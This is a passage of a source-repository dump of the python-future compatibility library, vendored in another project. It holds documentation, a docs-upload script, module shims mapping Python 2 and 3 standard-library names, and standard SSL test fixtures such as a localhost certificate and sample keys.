12 | (6.123233995736766e-17+1j)
13 |
14 | - ``round()`` uses Banker's Rounding as in Py3 to the nearest even last digit::
15 |
16 | >>> from builtins import round
17 | >>> assert round(0.1250, 2) == 0.12
18 |
19 |
--------------------------------------------------------------------------------
/lib/future/docs/hindsight.rst:
--------------------------------------------------------------------------------
1 | In a perfect world, the new metaclass syntax should ideally be available in
2 | Python 2 as a `__future__`` import like ``from __future__ import
3 | new_metaclass_syntax``.
4 |
5 |
--------------------------------------------------------------------------------
/lib/future/docs/index.rst:
--------------------------------------------------------------------------------
1 | Easy, clean, reliable Python 2/3 compatibility
2 | ==============================================
3 |
4 | ``python-future`` is the missing compatibility layer between Python 2 and
5 | Python 3. It allows you to use a single, clean Python 3.x-compatible
6 | codebase to support both Python 2 and Python 3 with minimal overhead.
7 |
8 |
9 | .. include:: contents.rst.inc
10 |
11 |
--------------------------------------------------------------------------------
/lib/future/docs/metaclasses.rst:
--------------------------------------------------------------------------------
1 | Metaclasses
2 | -----------
3 |
4 | Python 3 and Python 2 syntax for metaclasses are incompatible.
5 | ``future`` provides a function (from ``jinja2/_compat.py``) called
6 | :func:`with_metaclass` that can assist with specifying metaclasses
7 | portably across Py3 and Py2. Use it like this::
8 |
9 | from future.utils import with_metaclass
10 |
11 | class BaseForm(object):
12 | pass
13 |
14 | class FormType(type):
15 | pass
16 |
17 | class Form(with_metaclass(FormType, BaseForm)):
18 | pass
19 |
20 |
21 |
--------------------------------------------------------------------------------
/lib/future/docs/other/todo.txt:
--------------------------------------------------------------------------------
1 | Import open() from codecs to shadow the Py2 open()?
2 |
--------------------------------------------------------------------------------
/lib/future/docs/other/upload_future_docs.sh:
--------------------------------------------------------------------------------
1 | # On the local machine
2 |
3 | git checkout v0.16.0 # or whatever
4 | rm -Rf docs/build/
5 | cd docs; make html
6 | cp cheatsheet.pdf /shared/
7 | cd build
8 | touch /shared/python-future-html-docs.zip
9 | rm /shared/python-future-html-docs.zip
10 | zip -r /shared/python-future-html-docs.zip *
11 |
12 | scp /shared/python-future-html-docs.zip python-future.org:
13 | scp /shared/cheatsheet.pdf python-future.org:
14 | ssh python-future.org
15 |
16 |
17 | # On the remote machine:
18 |
19 | cd /var/www/python-future.org/
20 | unzip -o ~/python-future-html-docs.zip
21 | chmod a+r * html/* html/_static/*
22 | cp ~/cheatsheet.pdf ./html/compatible_idioms.pdf
23 | cp ~/cheatsheet.pdf ./html/cheatsheet.pdf
24 |
25 |
--------------------------------------------------------------------------------
/lib/future/docs/overview.rst:
--------------------------------------------------------------------------------
1 | .. include:: ../README.rst
2 |
3 |
--------------------------------------------------------------------------------
/lib/future/docs/upgrading.rst:
--------------------------------------------------------------------------------
1 | .. upgrading
2 |
3 | Upgrading
4 | *********
5 |
6 | We strive to support compatibility between versions of ``python-future``. Part of this involves keeping around old interfaces and marking them as deprecated for a period to allow projects to transition in a straightforward manner to using the new interfaces.
7 |
8 |
9 | .. upgrading-to-v0.12
10 |
11 | Upgrading to v0.12
12 | ==================
13 |
14 |
--------------------------------------------------------------------------------
/lib/future/docs/what_else.rst:
--------------------------------------------------------------------------------
1 | .. _what-else:
2 |
3 | What else you need to know
4 | **************************
5 |
6 | The following points are important to know about when writing Python 2/3
7 | compatible code.
8 |
9 | .. _what-else-essentials:
10 |
11 | .. include:: bytes_object.rst
12 | .. include:: str_object.rst
13 | .. include:: dict_object.rst
14 | .. include:: int_object.rst
15 | .. include:: isinstance.rst
16 | .. include:: open_function.rst
17 | .. include:: custom_str_methods.rst
18 | .. include:: custom_iterators.rst
19 |
20 | .. _what-else-advanced:
21 |
22 | .. include:: bind_method.rst
23 | .. include:: metaclasses.rst
24 |
25 | ..
26 |
27 |
--------------------------------------------------------------------------------
/lib/future/futurize.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | """
3 | futurize.py
4 | ===========
5 |
6 | This script is only used by the unit tests. Another script called
7 | "futurize" is created automatically (without the .py extension) by
8 | setuptools.
9 |
10 | futurize.py attempts to turn Py2 code into valid, clean Py3 code that is
11 | also compatible with Py2 when using the ``future`` package.
12 |
13 |
14 | Licensing
15 | ---------
16 | Copyright 2013-2016 Python Charmers Pty Ltd, Australia.
17 | The software is distributed under an MIT licence. See LICENSE.txt.
18 | """
19 |
20 | import sys
21 |
22 | from libfuturize.main import main
23 |
24 | sys.exit(main())
25 |
--------------------------------------------------------------------------------
/lib/future/pasteurize.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | """
3 | pasteurize.py
4 | =============
5 |
6 | This script is only used by the unit tests. Another script called "pasteurize"
7 | is created automatically (without the .py extension) by setuptools.
8 |
9 | pasteurize.py attempts to turn Py3 code into relatively clean Py3 code that is
10 | also compatible with Py2 when using the ``future`` package.
11 |
12 |
13 | Licensing
14 | ---------
15 | Copyright 2013-2016 Python Charmers Pty Ltd, Australia.
16 | The software is distributed under an MIT licence. See LICENSE.txt.
17 | """
18 |
19 | import sys
20 |
21 | from libpasteurize.main import main
22 |
23 | sys.exit(main())
24 |
--------------------------------------------------------------------------------
/lib/future/pytest.ini:
--------------------------------------------------------------------------------
1 | # py.test config file
2 | [pytest]
3 | norecursedirs = build docs/_build disabled_test_email disabled_test_xmlrpc disabled_test_xmlrpcnet disabled/* disabled* disabled/test_email/*
4 |
--------------------------------------------------------------------------------
/lib/future/requirements_py26.txt:
--------------------------------------------------------------------------------
1 | unittest2
2 | argparse # for the http.server module
3 | importlib
4 |
5 |
--------------------------------------------------------------------------------
/lib/future/setup.cfg:
--------------------------------------------------------------------------------
1 | [egg_info]
2 | tag_build =
3 | tag_date = 0
4 | tag_svn_revision = 0
5 |
6 |
--------------------------------------------------------------------------------
/lib/future/src/__init__.py:
--------------------------------------------------------------------------------
1 | # Make this a package only for the sake of importing
2 | # src.future.__version__ etc. from setup.py
3 |
--------------------------------------------------------------------------------
/lib/future/src/_dummy_thread/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | import sys
3 | __future_module__ = True
4 |
5 | if sys.version_info[0] < 3:
6 | from dummy_thread import *
7 | else:
8 | raise ImportError('This package should not be accessible on Python 3. '
9 | 'Either you are trying to run from the python-future src folder '
10 | 'or your installation of python-future is corrupted.')
11 |
--------------------------------------------------------------------------------
/lib/future/src/_markupbase/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | import sys
3 | __future_module__ = True
4 |
5 | if sys.version_info[0] < 3:
6 | from markupbase import *
7 | else:
8 | raise ImportError('This package should not be accessible on Python 3. '
9 | 'Either you are trying to run from the python-future src folder '
10 | 'or your installation of python-future is corrupted.')
11 |
--------------------------------------------------------------------------------
/lib/future/src/_thread/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | import sys
3 | __future_module__ = True
4 |
5 | if sys.version_info[0] < 3:
6 | from thread import *
7 | else:
8 | raise ImportError('This package should not be accessible on Python 3. '
9 | 'Either you are trying to run from the python-future src folder '
10 | 'or your installation of python-future is corrupted.')
11 |
--------------------------------------------------------------------------------
/lib/future/src/builtins/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | import sys
3 | __future_module__ = True
4 |
5 | if sys.version_info[0] < 3:
6 | from __builtin__ import *
7 | # Overwrite any old definitions with the equivalent future.builtins ones:
8 | from future.builtins import *
9 | else:
10 | raise ImportError('This package should not be accessible on Python 3. '
11 | 'Either you are trying to run from the python-future src folder '
12 | 'or your installation of python-future is corrupted.')
13 |
--------------------------------------------------------------------------------
/lib/future/src/copyreg/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | import sys
3 |
4 | if sys.version_info[0] < 3:
5 | from copy_reg import *
6 | else:
7 | raise ImportError('This package should not be accessible on Python 3. '
8 | 'Either you are trying to run from the python-future src folder '
9 | 'or your installation of python-future is corrupted.')
10 |
--------------------------------------------------------------------------------
/lib/future/src/future/backports/__init__.py:
--------------------------------------------------------------------------------
1 | """
2 | future.backports package
3 | """
4 |
5 | from __future__ import absolute_import
6 |
7 | import sys
8 |
9 | __future_module__ = True
10 | from future.standard_library import import_top_level_modules
11 |
12 |
13 | if sys.version_info[0] == 3:
14 | import_top_level_modules()
15 |
16 |
17 | from .misc import (ceil,
18 | OrderedDict,
19 | Counter,
20 | ChainMap,
21 | check_output,
22 | count,
23 | recursive_repr,
24 | _count_elements,
25 | cmp_to_key
26 | )
27 |
--------------------------------------------------------------------------------
/lib/future/src/future/backports/email/mime/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/future/src/future/backports/email/mime/__init__.py
--------------------------------------------------------------------------------
/lib/future/src/future/backports/email/mime/base.py:
--------------------------------------------------------------------------------
1 | # Copyright (C) 2001-2006 Python Software Foundation
2 | # Author: Barry Warsaw
3 | # Contact: email-sig@python.org
4 |
5 | """Base class for MIME specializations."""
6 | from __future__ import absolute_import, division, unicode_literals
7 | from future.backports.email import message
8 |
9 | __all__ = ['MIMEBase']
10 |
11 |
12 | class MIMEBase(message.Message):
13 | """Base class for MIME specializations."""
14 |
15 | def __init__(self, _maintype, _subtype, **_params):
16 | """This constructor adds a Content-Type: and a MIME-Version: header.
17 |
18 | The Content-Type: header is taken from the _maintype and _subtype
19 | arguments. Additional parameters for this header are taken from the
20 | keyword arguments.
21 | """
22 | message.Message.__init__(self)
23 | ctype = '%s/%s' % (_maintype, _subtype)
24 | self.add_header('Content-Type', ctype, **_params)
25 | self['MIME-Version'] = '1.0'
26 |
--------------------------------------------------------------------------------
/lib/future/src/future/backports/email/mime/nonmultipart.py:
--------------------------------------------------------------------------------
1 | # Copyright (C) 2002-2006 Python Software Foundation
2 | # Author: Barry Warsaw
3 | # Contact: email-sig@python.org
4 |
5 | """Base class for MIME type messages that are not multipart."""
6 | from __future__ import unicode_literals
7 | from __future__ import division
8 | from __future__ import absolute_import
9 |
10 | __all__ = ['MIMENonMultipart']
11 |
12 | from future.backports.email import errors
13 | from future.backports.email.mime.base import MIMEBase
14 |
15 |
16 | class MIMENonMultipart(MIMEBase):
17 | """Base class for MIME multipart/* type messages."""
18 |
19 | def attach(self, payload):
20 | # The public API prohibits attaching multiple subparts to MIMEBase
21 | # derived subtypes since none of them are, by definition, of content
22 | # type multipart/*
23 | raise errors.MultipartConversionError(
24 | 'Cannot attach additional subparts to non-multipart/*')
25 |
--------------------------------------------------------------------------------
/lib/future/src/future/backports/html/__init__.py:
--------------------------------------------------------------------------------
1 | """
2 | General functions for HTML manipulation, backported from Py3.
3 |
4 | Note that this uses Python 2.7 code with the corresponding Python 3
5 | module names and locations.
6 | """
7 |
8 | from __future__ import unicode_literals
9 |
10 |
11 | _escape_map = {ord('&'): '&', ord('<'): '<', ord('>'): '>'}
12 | _escape_map_full = {ord('&'): '&', ord('<'): '<', ord('>'): '>',
13 | ord('"'): '"', ord('\''): '''}
14 |
15 | # NB: this is a candidate for a bytes/string polymorphic interface
16 |
17 | def escape(s, quote=True):
18 | """
19 | Replace special characters "&", "<" and ">" to HTML-safe sequences.
20 | If the optional flag quote is true (the default), the quotation mark
21 | characters, both double quote (") and single quote (') characters are also
22 | translated.
23 | """
24 | assert not isinstance(s, bytes), 'Pass a unicode string'
25 | if quote:
26 | return s.translate(_escape_map_full)
27 | return s.translate(_escape_map)
28 |
29 |
--------------------------------------------------------------------------------
/lib/future/src/future/backports/http/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/future/src/future/backports/http/__init__.py
--------------------------------------------------------------------------------
/lib/future/src/future/backports/test/__init__.py:
--------------------------------------------------------------------------------
1 | """
2 | test package backported for python-future.
3 |
4 | Its primary purpose is to allow use of "import test.support" for running
5 | the Python standard library unit tests using the new Python 3 stdlib
6 | import location.
7 |
8 | Python 3 renamed test.test_support to test.support.
9 | """
10 |
--------------------------------------------------------------------------------
/lib/future/src/future/backports/test/dh512.pem:
--------------------------------------------------------------------------------
1 | -----BEGIN DH PARAMETERS-----
2 | MEYCQQD1Kv884bEpQBgRjXyEpwpy1obEAxnIByl6ypUM2Zafq9AKUJsCRtMIPWak
3 | XUGfnHy9iUsiGSa6q6Jew1XpKgVfAgEC
4 | -----END DH PARAMETERS-----
5 |
6 | These are the 512 bit DH parameters from "Assigned Number for SKIP Protocols"
7 | (http://www.skip-vpn.org/spec/numbers.html).
8 | See there for how they were generated.
9 | Note that g is not a generator, but this is not a problem since p is a safe prime.
10 |
--------------------------------------------------------------------------------
/lib/future/src/future/backports/test/nullcert.pem:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/future/src/future/backports/test/nullcert.pem
--------------------------------------------------------------------------------
/lib/future/src/future/backports/test/ssl_cert.pem:
--------------------------------------------------------------------------------
1 | -----BEGIN CERTIFICATE-----
2 | MIICVDCCAb2gAwIBAgIJANfHOBkZr8JOMA0GCSqGSIb3DQEBBQUAMF8xCzAJBgNV
3 | BAYTAlhZMRcwFQYDVQQHEw5DYXN0bGUgQW50aHJheDEjMCEGA1UEChMaUHl0aG9u
4 | IFNvZnR3YXJlIEZvdW5kYXRpb24xEjAQBgNVBAMTCWxvY2FsaG9zdDAeFw0xMDEw
5 | MDgyMzAxNTZaFw0yMDEwMDUyMzAxNTZaMF8xCzAJBgNVBAYTAlhZMRcwFQYDVQQH
6 | Ew5DYXN0bGUgQW50aHJheDEjMCEGA1UEChMaUHl0aG9uIFNvZnR3YXJlIEZvdW5k
7 | YXRpb24xEjAQBgNVBAMTCWxvY2FsaG9zdDCBnzANBgkqhkiG9w0BAQEFAAOBjQAw
8 | gYkCgYEA21vT5isq7F68amYuuNpSFlKDPrMUCa4YWYqZRt2OZ+/3NKaZ2xAiSwr7
9 | 6MrQF70t5nLbSPpqE5+5VrS58SY+g/sXLiFd6AplH1wJZwh78DofbFYXUggktFMt
10 | pTyiX8jtP66bkcPkDADA089RI1TQR6Ca+n7HFa7c1fabVV6i3zkCAwEAAaMYMBYw
11 | FAYDVR0RBA0wC4IJbG9jYWxob3N0MA0GCSqGSIb3DQEBBQUAA4GBAHPctQBEQ4wd
12 | BJ6+JcpIraopLn8BGhbjNWj40mmRqWB/NAWF6M5ne7KpGAu7tLeG4hb1zLaldK8G
13 | lxy2GPSRF6LFS48dpEj2HbMv2nvv6xxalDMJ9+DicWgAKTQ6bcX2j3GUkCR0g/T1
14 | CRlNBAAlvhKzO7Clpf9l0YKBEfraJByX
15 | -----END CERTIFICATE-----
16 |
--------------------------------------------------------------------------------
/lib/future/src/future/backports/test/ssl_key.passwd.pem:
--------------------------------------------------------------------------------
1 | -----BEGIN RSA PRIVATE KEY-----
2 | Proc-Type: 4,ENCRYPTED
3 | DEK-Info: DES-EDE3-CBC,1A8D9D2A02EC698A
4 |
5 | kJYbfZ8L0sfe9Oty3gw0aloNnY5E8fegRfQLZlNoxTl6jNt0nIwI8kDJ36CZgR9c
6 | u3FDJm/KqrfUoz8vW+qEnWhSG7QPX2wWGPHd4K94Yz/FgrRzZ0DoK7XxXq9gOtVA
7 | AVGQhnz32p+6WhfGsCr9ArXEwRZrTk/FvzEPaU5fHcoSkrNVAGX8IpSVkSDwEDQr
8 | Gv17+cfk99UV1OCza6yKHoFkTtrC+PZU71LomBabivS2Oc4B9hYuSR2hF01wTHP+
9 | YlWNagZOOVtNz4oKK9x9eNQpmfQXQvPPTfusexKIbKfZrMvJoxcm1gfcZ0H/wK6P
10 | 6wmXSG35qMOOztCZNtperjs1wzEBXznyK8QmLcAJBjkfarABJX9vBEzZV0OUKhy+
11 | noORFwHTllphbmydLhu6ehLUZMHPhzAS5UN7srtpSN81eerDMy0RMUAwA7/PofX1
12 | 94Me85Q8jP0PC9ETdsJcPqLzAPETEYu0ELewKRcrdyWi+tlLFrpE5KT/s5ecbl9l
13 | 7B61U4Kfd1PIXc/siINhU3A3bYK+845YyUArUOnKf1kEox7p1RpD7yFqVT04lRTo
14 | cibNKATBusXSuBrp2G6GNuhWEOSafWCKJQAzgCYIp6ZTV2khhMUGppc/2H3CF6cO
15 | zX0KtlPVZC7hLkB6HT8SxYUwF1zqWY7+/XPPdc37MeEZ87Q3UuZwqORLY+Z0hpgt
16 | L5JXBCoklZhCAaN2GqwFLXtGiRSRFGY7xXIhbDTlE65Wv1WGGgDLMKGE1gOz3yAo
17 | 2jjG1+yAHJUdE69XTFHSqSkvaloA1W03LdMXZ9VuQJ/ySXCie6ABAQ==
18 | -----END RSA PRIVATE KEY-----
19 |
--------------------------------------------------------------------------------
/lib/future/src/future/backports/test/ssl_key.pem:
--------------------------------------------------------------------------------
1 | -----BEGIN PRIVATE KEY-----
2 | MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBANtb0+YrKuxevGpm
3 | LrjaUhZSgz6zFAmuGFmKmUbdjmfv9zSmmdsQIksK++jK0Be9LeZy20j6ahOfuVa0
4 | ufEmPoP7Fy4hXegKZR9cCWcIe/A6H2xWF1IIJLRTLaU8ol/I7T+um5HD5AwAwNPP
5 | USNU0Eegmvp+xxWu3NX2m1Veot85AgMBAAECgYA3ZdZ673X0oexFlq7AAmrutkHt
6 | CL7LvwrpOiaBjhyTxTeSNWzvtQBkIU8DOI0bIazA4UreAFffwtvEuPmonDb3F+Iq
7 | SMAu42XcGyVZEl+gHlTPU9XRX7nTOXVt+MlRRRxL6t9GkGfUAXI3XxJDXW3c0vBK
8 | UL9xqD8cORXOfE06rQJBAP8mEX1ERkR64Ptsoe4281vjTlNfIbs7NMPkUnrn9N/Y
9 | BLhjNIfQ3HFZG8BTMLfX7kCS9D593DW5tV4Z9BP/c6cCQQDcFzCcVArNh2JSywOQ
10 | ZfTfRbJg/Z5Lt9Fkngv1meeGNPgIMLN8Sg679pAOOWmzdMO3V706rNPzSVMME7E5
11 | oPIfAkEA8pDddarP5tCvTTgUpmTFbakm0KoTZm2+FzHcnA4jRh+XNTjTOv98Y6Ik
12 | eO5d1ZnKXseWvkZncQgxfdnMqqpj5wJAcNq/RVne1DbYlwWchT2Si65MYmmJ8t+F
13 | 0mcsULqjOnEMwf5e+ptq5LzwbyrHZYq5FNk7ocufPv/ZQrcSSC+cFwJBAKvOJByS
14 | x56qyGeZLOQlWS2JS3KJo59XuLFGqcbgN9Om9xFa41Yb4N9NvplFivsvZdw3m1Q/
15 | SPIXQuT8RMPDVNQ=
16 | -----END PRIVATE KEY-----
17 |
--------------------------------------------------------------------------------
/lib/future/src/future/backports/urllib/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/future/src/future/backports/urllib/__init__.py
--------------------------------------------------------------------------------
/lib/future/src/future/backports/xmlrpc/__init__.py:
--------------------------------------------------------------------------------
1 | # This directory is a Python package.
2 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/__init__.py:
--------------------------------------------------------------------------------
1 | # future.moves package
2 | from __future__ import absolute_import
3 | import sys
4 | __future_module__ = True
5 | from future.standard_library import import_top_level_modules
6 |
7 | if sys.version_info[0] == 3:
8 | import_top_level_modules()
9 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/_dummy_thread.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | from future.utils import PY3
3 |
4 | if PY3:
5 | from _dummy_thread import *
6 | else:
7 | __future_module__ = True
8 | from dummy_thread import *
9 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/_markupbase.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | from future.utils import PY3
3 |
4 | if PY3:
5 | from _markupbase import *
6 | else:
7 | __future_module__ = True
8 | from markupbase import *
9 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/_thread.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | from future.utils import PY3
3 |
4 | if PY3:
5 | from _thread import *
6 | else:
7 | __future_module__ = True
8 | from thread import *
9 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/builtins.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | from future.utils import PY3
3 |
4 | if PY3:
5 | from builtins import *
6 | else:
7 | __future_module__ = True
8 | from __builtin__ import *
9 | # Overwrite any old definitions with the equivalent future.builtins ones:
10 | from future.builtins import *
11 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/collections.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | import sys
3 |
4 | from future.utils import PY2, PY26
5 | __future_module__ = True
6 |
7 | from collections import *
8 |
9 | if PY2:
10 | from UserDict import UserDict
11 | from UserList import UserList
12 | from UserString import UserString
13 |
14 | if PY26:
15 | from future.backports.misc import OrderedDict, Counter
16 |
17 | if sys.version_info < (3, 3):
18 | from future.backports.misc import ChainMap, _count_elements
19 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/configparser.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from future.utils import PY2
4 |
5 | if PY2:
6 | from ConfigParser import *
7 | else:
8 | from configparser import *
9 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/copyreg.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | from future.utils import PY3
3 |
4 | if PY3:
5 | from copyreg import *
6 | else:
7 | __future_module__ = True
8 | from copy_reg import *
9 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/dbm/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | from future.utils import PY3
3 |
4 | if PY3:
5 | from dbm import *
6 | else:
7 | __future_module__ = True
8 | from whichdb import *
9 | from anydbm import *
10 |
11 | # Py3.3's dbm/__init__.py imports ndbm but doesn't expose it via __all__.
12 | # In case some (badly written) code depends on dbm.ndbm after import dbm,
13 | # we simulate this:
14 | if PY3:
15 | from dbm import ndbm
16 | else:
17 | try:
18 | from future.moves.dbm import ndbm
19 | except ImportError:
20 | ndbm = None
21 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/dbm/dumb.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from future.utils import PY3
4 |
5 | if PY3:
6 | from dbm.dumb import *
7 | else:
8 | __future_module__ = True
9 | from dumbdbm import *
10 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/dbm/gnu.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from future.utils import PY3
4 |
5 | if PY3:
6 | from dbm.gnu import *
7 | else:
8 | __future_module__ = True
9 | from gdbm import *
10 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/dbm/ndbm.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from future.utils import PY3
4 |
5 | if PY3:
6 | from dbm.ndbm import *
7 | else:
8 | __future_module__ = True
9 | from dbm import *
10 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/html/entities.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | from future.utils import PY3
3 |
4 | if PY3:
5 | from html.entities import *
6 | else:
7 | __future_module__ = True
8 | from htmlentitydefs import *
9 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/html/parser.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | from future.utils import PY3
3 | __future_module__ = True
4 |
5 | if PY3:
6 | from html.parser import *
7 | else:
8 | from HTMLParser import *
9 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/http/__init__.py:
--------------------------------------------------------------------------------
1 | from future.utils import PY3
2 |
3 | if not PY3:
4 | __future_module__ = True
5 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/http/client.py:
--------------------------------------------------------------------------------
1 | from future.utils import PY3
2 |
3 | if PY3:
4 | from http.client import *
5 | else:
6 | from httplib import *
7 | from httplib import HTTPMessage
8 | __future_module__ = True
9 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/http/cookiejar.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | from future.utils import PY3
3 |
4 | if PY3:
5 | from http.cookiejar import *
6 | else:
7 | __future_module__ = True
8 | from cookielib import *
9 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/http/cookies.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | from future.utils import PY3
3 |
4 | if PY3:
5 | from http.cookies import *
6 | else:
7 | __future_module__ = True
8 | from Cookie import *
9 | from Cookie import Morsel # left out of __all__ on Py2.7!
10 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/http/server.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | from future.utils import PY3
3 |
4 | if PY3:
5 | from http.server import *
6 | else:
7 | __future_module__ = True
8 | from BaseHTTPServer import *
9 | from CGIHTTPServer import *
10 | from SimpleHTTPServer import *
11 | try:
12 | from CGIHTTPServer import _url_collapse_path # needed for a test
13 | except ImportError:
14 | try:
15 | # Python 2.7.0 to 2.7.3
16 | from CGIHTTPServer import (
17 | _url_collapse_path_split as _url_collapse_path)
18 | except ImportError:
19 | # Doesn't exist on Python 2.6.x. Ignore it.
20 | pass
21 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/itertools.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from itertools import *
4 | try:
5 | zip_longest = izip_longest
6 | filterfalse = ifilterfalse
7 | except NameError:
8 | pass
9 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/pickle.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | from future.utils import PY3
3 |
4 | if PY3:
5 | from pickle import *
6 | else:
7 | __future_module__ = True
8 | try:
9 | from cPickle import *
10 | except ImportError:
11 | from pickle import *
12 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/queue.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | from future.utils import PY3
3 |
4 | if PY3:
5 | from queue import *
6 | else:
7 | __future_module__ = True
8 | from Queue import *
9 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/reprlib.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | from future.utils import PY3
3 |
4 | if PY3:
5 | from reprlib import *
6 | else:
7 | __future_module__ = True
8 | from repr import *
9 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/socketserver.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | from future.utils import PY3
3 |
4 | if PY3:
5 | from socketserver import *
6 | else:
7 | __future_module__ = True
8 | from SocketServer import *
9 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/subprocess.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | from future.utils import PY2, PY26
3 |
4 | from subprocess import *
5 |
6 | if PY2:
7 | __future_module__ = True
8 | from commands import getoutput, getstatusoutput
9 |
10 | if PY26:
11 | from future.backports.misc import check_output
12 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/sys.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from future.utils import PY2
4 |
5 | from sys import *
6 |
7 | if PY2:
8 | from __builtin__ import intern
9 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/test/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | from future.utils import PY3
3 |
4 | if not PY3:
5 | __future_module__ = True
6 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/test/support.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | from future.standard_library import suspend_hooks
3 | from future.utils import PY3
4 |
5 | if PY3:
6 | from test.support import *
7 | else:
8 | __future_module__ = True
9 | with suspend_hooks():
10 | from test.test_support import *
11 |
12 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/tkinter/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | from future.utils import PY3
3 | __future_module__ = True
4 |
5 | if not PY3:
6 | from Tkinter import *
7 | from Tkinter import (_cnfmerge, _default_root, _flatten, _join, _setit,
8 | _splitdict, _stringify, _support_default_root, _test,
9 | _tkinter)
10 | else:
11 | from tkinter import *
12 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/tkinter/colorchooser.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from future.utils import PY3
4 |
5 | if PY3:
6 | from tkinter.colorchooser import *
7 | else:
8 | try:
9 | from tkColorChooser import *
10 | except ImportError:
11 | raise ImportError('The tkColorChooser module is missing. Does your Py2 '
12 | 'installation include tkinter?')
13 |
14 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/tkinter/commondialog.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from future.utils import PY3
4 |
5 | if PY3:
6 | from tkinter.commondialog import *
7 | else:
8 | try:
9 | from tkCommonDialog import *
10 | except ImportError:
11 | raise ImportError('The tkCommonDialog module is missing. Does your Py2 '
12 | 'installation include tkinter?')
13 |
14 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/tkinter/constants.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from future.utils import PY3
4 |
5 | if PY3:
6 | from tkinter.constants import *
7 | else:
8 | try:
9 | from Tkconstants import *
10 | except ImportError:
11 | raise ImportError('The Tkconstants module is missing. Does your Py2 '
12 | 'installation include tkinter?')
13 |
14 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/tkinter/dialog.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from future.utils import PY3
4 |
5 | if PY3:
6 | from tkinter.dialog import *
7 | else:
8 | try:
9 | from Dialog import *
10 | except ImportError:
